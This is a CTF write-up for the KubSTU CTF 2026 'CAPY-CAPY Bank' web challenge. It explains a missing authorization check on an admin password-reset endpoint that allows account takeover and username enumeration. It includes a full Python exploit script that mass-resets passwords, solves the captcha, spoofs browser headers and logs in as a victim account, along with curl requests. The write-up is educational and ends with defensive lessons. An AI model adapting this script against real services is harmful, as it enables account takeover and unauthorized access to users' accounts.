0x11
← All write-ups
writeups://capy-bank-missing-authz Write-up

Write-up · KubSTU CTF 2026

CAPY-CAPY Bank 1: Account Takeover via a Missing Authorization Check

A KubSTU CTF 2026 web challenge wrapped in HMAC-SHA256 signatures, a PoW captcha and a Telegram bot — nearly all decoy. One admin route with no role check gives universal account takeover plus a username oracle, and the flag lives on a seeded buyer account.

#web#broken-access-control#idor#api#flask#ctf

Challenge: CAPY-CAPY Bank (https://bank.kubstu-ctf.ru/) · Web / Banking. Prompt: “Your task at the beginning is to capture a user with a large amount of money, mgalankov@4274.” Flag: KubSTU{0tp_1s_th3_s1gnatur3_c4py_b4nk_0wn3d}

The challenge dresses itself up as a crypto puzzle — HMAC-SHA256 transfer signatures, a self-hosted ALTCHA proof-of-work captcha, a Telegram bot handing out one-time “offer tokens,” and a prominent hint pointing at the rich user mgalankov@4274. Nearly all of that is decoration or decoy.

The real attack surface is a single API endpoint, POST /api/admin/reset_password, which sets a new password for any numeric target_user_id with no role check and no current-password check — any logged-in user can take over any account. The root cause is a missing authorization decorator on that one admin route; its response body (Пароль пользователя <username> изменён) also leaks each user’s username, turning a numeric ID into an enumeration oracle. The flag does not live on mgalankov’s account at all — it sits on the one still-redeemable FLAG_SHOP transaction of a seeded buyer account, tpokupatel@4839, retrievable only by POST /api/verify_flag_token as the transaction’s sender.

Reconnaissance

Landing page

https://bank.kubstu-ctf.ru/ is a static marketing page for a bank named CAPY-CAPY. Breadcrumbs:

  • Footer link /api/docs (!) — internal API documentation.
  • HMAC · SHA-256 badge, “подписи” everywhere, “Crypto / Security Lead” on the team page — sets up the signature-based transfer theme (a thematic red herring).
  • Self-hosted ALTCHA PoW-captcha (/static/altcha.min.js).
  • Language switcher uses ?next=/ — a potential open-redirect primitive (not needed).

JS and static files

/static/animations.js          → benign UI animation
/static/altcha.min.js          → stock altcha@2.1.0, unmodified
/static/animations.js.map      → 404
/.git/config                   → 404
/backup/, /app.py              → 404

No client-side secrets leaked.

API docs — /api/docs

The OpenAPI spec (/api/openapi.json or embedded) lists the entire surface. The critical endpoints:

Endpoint Notes
GET /api/captcha/challenge Returns ALTCHA PoW challenge
POST /api/2fa/send Sends OTP — returns the OTP in the response
POST /api/2fa/verify Verifies OTP — returns a signature
POST /api/get_signature PIN + transfer params → {date,time,timestamp,signature}
POST /api/admin/reset_password Sets a new password for any target_user_id (!)
POST /api/verify_flag_token “Подтвердить покупку по offer-токену” → SuccessMessage

Auth is via JWT in cookie access_token_cookie, plus csrf_access_token in header X-CSRF-TOKEN. Backend is Flask (Werkzeug/2.3.7 Python/3.9.25).

The bug is visible from the schema alone: /api/admin/reset_password only requires target_user_id and new_password — no role parameter, no admin token.

Environment quirks

These have to be solved to reach the API at all.

ALTCHA PoW. GET /api/captcha/challenge returns:

{
  "algorithm": "SHA-256",
  "challenge": "e56870ac…3326",
  "maxNumber": 100000,
  "salt": "3b2857f9…?expires=1791684856&",
  "signature": "f2f6…9fe0cf"
}

The widget solves sha256(salt + number) == challenge for number ∈ [0, maxNumber]. With maxNumber=100000 this takes ~1 ms in hashlib:

import json, hashlib, base64, time
ch = json.load(open('ch.json'))
salt, target = ch['salt'], ch['challenge']
mx = ch.get('maxNumber', 100000)
t0 = time.time()
for n in range(mx + 1):
    if hashlib.sha256((salt + str(n)).encode()).hexdigest() == target:
        break
took = int((time.time()-t0)*1000)
payload = base64.b64encode(json.dumps({
    "algorithm": ch["algorithm"], "challenge": target,
    "number": n, "salt": salt,
    "signature": ch["signature"], "took": took,
}).encode()).decode()

The payload is sent as form field altcha. The salt contains a ?expires=...& suffix, and the whole salt string must be used verbatim (!).

WAF / bot filter. The first request without a browser-like User-Agent returns:

{"error":"Запрос от автоматизированного клиента заблокирован."}

A full Chrome header set fixes it:

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 … Chrome/124.0 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Origin: https://bank.kubstu-ctf.ru
Referer: https://bank.kubstu-ctf.ru/register
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty

The server also issued a sticky cookie bank_sticky=… that needed to be replayed on subsequent requests.

Vulnerability analysis

Missing authorization on /api/admin/reset_password

This is the account takeover and the enumeration oracle in one.

First, a foothold. GET /register renders a KYC form (last_name_ru, first_name_ru, birth_date, driver_license_number, driver_license_issued_by, email, password, pin_code, altcha). The username is auto-generated as <first-letter-of-name-transliterated><surname-transliterated>@<4 digits>. Submitting with a solved ALTCHA yields a 302 to /login and a flash:

✅ Регистрация прошла успешно! 📝 Ваш логин: isafonov@4678

So we hold a normal user isafonov@4678 / capy1pass. Logging in via POST /login sets access_token_cookie, a Flask-JWT-Extended JWT whose payload is:

{
  "fresh": false, "iat": 1791685002, "jti": "8acc3c15-…",
  "type": "access", "sub": "596", "csrf": "bc103621-…",
  "exp": 1791688602, "username": "isafonov@4678"
}

There is no role / is_admin claim — the server decides authorization purely by sub (user id). It also sets csrf_access_token (double-submit CSRF, sent back in X-CSRF-TOKEN) and a Flask session cookie.

Now the bug. Every mutating call goes through:

POST /api/admin/reset_password
Content-Type: application/json
X-CSRF-TOKEN: <csrf_access_token>
{"target_user_id": 1, "new_password": "pwned123", "altcha": "<solved>"}

The endpoint:

  • does not check whether the caller is an administrator,
  • does not require the target user’s current password,
  • requires only a valid CSRF token, which any logged-in user holds.

The response leaks the target’s username:

{"message":"Пароль пользователя aalice@1234 изменён","success":true}

That one line is the whole vulnerability twice over: it is a universal account takeover (set any user’s password to a known value) and a numeric-ID → username oracle. Walking target_user_id = 1..N maps out the entire user table:

1  → aalice@1234     ACC001
2  → bbob@5678       ACC002
3  → ccharlie@9012   ACC003
4  → mgalankov@4274  ACC004  (the "rich user" from the prompt)
...
26 → tpokupatel@4839 ACC026  ← "покупатель" (buyer)
...
200 → pflagov@9816          ← "p" + "flagov" (flag holder)

Seeded usernames are self-documenting (tpokupatel = buyer, pflagov = flag holder). This bug alone gives full control of every account and a complete map of the dataset.

Broken-ownership flag retrieval via /api/verify_flag_token

The flag is dispensed by POST /api/verify_flag_token, which redeems a one-time “offer token” attached to a FLAG_SHOP purchase transaction. It enforces a separate ownership check: only the sender of a transaction may verify its offer token. This is not itself a flaw — but combined with the missing authz check it is fully exploitable, because that check lets us log in as whichever seeded account sent the flag transaction. The three distinct error messages are the key to navigating it:

Error Meaning Action
{"error":"Доступ запрещён"} Caller is not the sender of that transaction Log in as the sender (Отправитель on the receipt)
{"error":"Token not found"} You own the tx, but the token value doesn’t match the row Wrong receipt-signature row, or a plain (non-flag) transfer
{"error":"Token already used"} Ownership + token valid, but already redeemed A historical purchase; keep hunting for the live one

The offer token is rendered on the receipt page as the last receipt-signature row (the first row is the HMAC transaction signature).

Dead ends

  • Chasing mgalankov@4274 (the prompt’s hint). User 4 is ACC004 with balance 1 354 015.50 ₽, Premium, owns the flag-shop UI. Every FLAG_SHOP purchase on his history returned Token already used — all decoys. The flag was never reachable via the rich account.
  • Buying a new flag. /flag_shop → /buy_flag → /transfer is a real two-step protocol (POST /api/get_signature with the PIN, then POST /transfer with the signed fields), and the Telegram bot @kubstubank1_bot hands out fresh offer tokens on /start. But completing a purchase needs the account’s PIN, which /api/admin/reset_password cannot reset (it is password-only; there is no PIN-reset endpoint). The /api/2fa/send→/api/2fa/verify trick (the OTP is echoed back as a signature) does not substitute: /transfer rejects it with “Подпись не была выдана сервером для этой сессии”. The intended path is not to buy a new flag — the flag transaction already exists on a seeded account.
  • Open redirect via ?next= and various leaked-file probes (/.git/config, /app.py, .js.map) — all 404 / unneeded.

The exploit chain

The pieces combine as follows. The missing authz check is the engine; the ownership check is the lock the engine opens.

  1. Bootstrap: solve ALTCHA + pass the WAF header filter → /register a throwaway user → /login to get a JWT + CSRF token. This gives the minimum “any logged-in user” privilege that the admin route requires.
  2. Enumerate: call /api/admin/reset_password across target_user_id = 1..N, resetting each to pwned123 and reading the leaked username from the response. This simultaneously (a) hands us every account’s password and (b) identifies the seeded accounts by name.
  3. Pick the sender, not the hint: the prompt points at mgalankov (recipient / decoy). The ownership check means we need the sender of a live flag transaction. The self-documenting seed names point straight at tpokupatel@4839 (id 26, ACC026) — “покупатель” = buyer.
  4. Become the buyer: log in as tpokupatel@4839 with the reset password. /overview shows exactly one transaction — a FLAG_SHOP purchase — and /receipt/16 carries its offer token in the last receipt-signature row.
  5. Redeem: as the transaction’s sender, tpokupatel@4839 passes the ownership check, so POST /api/verify_flag_token with {transaction_id, token} returns the flag.

Why this order works: step 2 is the only thing that produces a usable credential for a seeded account (registration only ever gives you a fresh, empty account), and step 2’s response leak is also the only way to know which seeded account to target without blind guessing. Of all FLAG_SHOP transactions in the dataset, /receipt/16 on user 26 was the single still-redeemable one — every other returned Token already used.

Grabbing the flag

Full exploit, end to end. Requires requests and beautifulsoup4.

#!/usr/bin/env python3
"""CAPY-CAPY Bank — full exploit. Flag: 0tp_1s_th3_s1gnatur3_c4py_b4nk_0wn3d"""
import base64, hashlib, json, random, re, string, time
import requests

BASE = "https://bank.kubstu-ctf.ru"
UA = ("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
      "(KHTML, like Gecko) Chrome/124.0 Safari/537.36")

S = requests.Session()
S.headers.update({"User-Agent": UA,
                  "Accept-Language": "ru-RU,ru;q=0.9,en;q=0.8",
                  "Origin": BASE})

def solve_altcha():
    ch = S.get(f"{BASE}/api/captcha/challenge").json()
    salt, target = ch["salt"], ch["challenge"]
    mx = ch.get("maxNumber", 100_000)
    t0 = time.time()
    for n in range(mx + 1):
        if hashlib.sha256((salt + str(n)).encode()).hexdigest() == target:
            break
    return base64.b64encode(json.dumps({
        "algorithm": ch["algorithm"], "challenge": target,
        "number": n, "salt": salt, "signature": ch["signature"],
        "took": int((time.time() - t0) * 1000)}).encode()).decode()

def login(username, password):
    S.post(f"{BASE}/api/captcha/challenge")           # establish session
    r = S.post(f"{BASE}/login", data={"username": username, "password": password,
               "altcha": solve_altcha()},
               headers={"Referer": f"{BASE}/login"}, allow_redirects=False)
    assert r.status_code == 302, f"login failed: {r.status_code} {r.text[:200]}"
    return S.cookies["csrf_access_token"]

def reset_password(target_id, new_password):
    return S.post(f"{BASE}/api/admin/reset_password",
        json={"target_user_id": target_id, "new_password": new_password,
              "altcha": solve_altcha()},
        headers={"X-CSRF-TOKEN": S.cookies["csrf_access_token"],
                 "Referer": f"{BASE}/overview"}).json()

def receipt_ids():
    html = S.get(f"{BASE}/history").text
    return sorted({int(i) for i in re.findall(r"/receipt/(\d+)", html)})

def receipt_token(rid):
    html = S.get(f"{BASE}/receipt/{rid}").text
    sigs = re.findall(r'receipt-signature">([^<]+)', html)
    return sigs[-1] if sigs else None      # last row = offer token

def verify_flag(rid, token):
    return S.post(f"{BASE}/api/verify_flag_token",
        json={"transaction_id": rid, "token": token},
        headers={"X-CSRF-TOKEN": S.cookies["csrf_access_token"],
                 "Referer": f"{BASE}/receipt/{rid}"}).json()

if __name__ == "__main__":
    # 1. Register a throwaway account to bootstrap the admin endpoint
    uname = "capy" + "".join(random.choices(string.digits, k=4))
    S.get(f"{BASE}/register")
    S.post(f"{BASE}/register", data={
        "last_name_ru": "Сафонов", "first_name_ru": "Иван",
        "birth_date": "1990-01-01", "driver_license_number": "12АВ345678",
        "driver_license_issued_by": "ГИБДД г. Москвы",
        "email": f"{uname}@x.io", "password": "capy1pass",
        "pin_code": "12345678", "altcha": solve_altcha()},
        headers={"Referer": f"{BASE}/register"}, allow_redirects=False)
    html = S.get(f"{BASE}/login").text
    my_login = re.search(r"Ваш логин:.*?(\w+@\d+)", html, re.S).group(1)
    print(f"[+] Registered as {my_login}")

    # 2. Log in and abuse the missing authorization check
    login(my_login, "capy1pass")

    # 3. Enumerate users until we find the buyer (id 26 = tpokupatel)
    buyer_login = None
    for uid in range(1, 60):
        msg = reset_password(uid, "pwned123").get("message", "")
        print(f"    id={uid:>3}  {msg}")
        if "tpokupatel" in msg:
            buyer_login = re.search(r"пользователя (\S+) изменён", msg).group(1)
            break
    assert buyer_login, "buyer not found"
    print(f"[+] Buyer is {buyer_login}")

    # 4. Switch to the buyer's session
    S.cookies.clear()
    login(buyer_login, "pwned123")

    # 5. Read every receipt and verify it
    for rid in receipt_ids():
        tok = receipt_token(rid)
        if not tok:
            continue
        res = verify_flag(rid, tok)
        print(f"    /receipt/{rid}  token={tok}  -> {res}")
        if res.get("success") and "flag_content" in res:
            print(f"\n[🏁] FLAG: {res['flag_content']}")
            break

The decisive request and its response:

$ curl -s -b tp.txt -X POST https://bank.kubstu-ctf.ru/api/verify_flag_token \
    -H 'Content-Type: application/json' \
    -H 'X-CSRF-TOKEN: 8bb53e07-6707-4534-9555-0b08873ac7fe' \
    -H 'Origin: https://bank.kubstu-ctf.ru' \
    -H 'Referer: https://bank.kubstu-ctf.ru/receipt/16' \
    -d '{"transaction_id":16,"token":"QGO0LTrFHIjIByEikLgMApdA9w0DDDhf"}'

{"flag_content":"0tp_1s_th3_s1gnatur3_c4py_b4nk_0wn3d","message":"Покупка подтверждена","success":true}

kubSTU{0tp_1s_th3_s1gnatur3_c4py_b4nk_0wn3d}

Takeaways

  • An endpoint’s authorization lives in what it omits. /api/admin/reset_password took target_user_id and new_password and nothing that ties the caller to an admin role — the missing @admin_required decorator is the entire bug, and it is readable straight from the OpenAPI schema. Audit for the check that should be there, not just the code that is.
  • Verbose success messages are enumeration oracles. Returning Пароль пользователя <username> изменён turned a numeric ID into a username lookup. Responses to privileged actions should confirm nothing the caller didn’t already supply.
  • Enforce authorization on identity, not on supplied parameters. The JWT carried no role claim, so trust flowed entirely from sub; any route that forgets to re-check sub against the resource is wide open regardless of framework.
  • Captcha/PoW and “HMAC-SHA256” theming are not access control. ALTCHA with maxNumber=100000 is a millisecond of CPU, and the whole signature narrative was decoration around one broken-access-control flaw — don’t let a challenge’s advertised hardness steer you away from the boring missing check.
  • Defense in depth would have stopped this at several layers: a role check on the admin route, a second factor (the PIN) required for every state change rather than only transfers, non-sequential/opaque user IDs, and generic response bodies — any one of which breaks the chain, and all of which were absent together.
// EOF ← All write-ups